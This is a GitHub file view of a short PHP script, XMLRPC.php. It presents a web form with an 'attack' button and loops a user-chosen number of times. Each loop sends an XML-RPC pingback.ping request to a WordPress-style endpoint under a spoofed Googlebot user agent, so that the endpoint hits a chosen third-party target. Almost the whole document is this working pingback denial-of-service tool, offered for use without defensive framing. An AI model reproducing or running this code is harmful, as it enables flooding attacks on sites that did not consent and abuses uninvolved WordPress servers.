-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathXMLRPC.php
More file actions
29 lines (27 loc) · 1.18 KB
/
XMLRPC.php
File metadata and controls
29 lines (27 loc) · 1.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<form method="GET">
<input type="text" name="url" placeholder="xmlrpc">
<input type="text" name="base" placeholder="page">
<input type="text" name="target" placeholder="target">
<input type="text" name="count" placeholder="count">
<input type="submit" name="go" value="attack">
</form>
<?php
$url = $_GET['url'];
$base = $_GET['base'];
$target = $_GET['target'];
$count = $_GET['count'];
for ($i=0; $i < $count; $i++) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, "Googlebot/2.1 (+http://www.google.com/bot.html)");
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/xml'));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"<?xml version='1.0' encoding='iso-8859-1'?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>$target</string></value></param><param><value><string>$base</string></value></param></params></methodCall>");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$data = curl_exec($ch);
print($data);
}
?>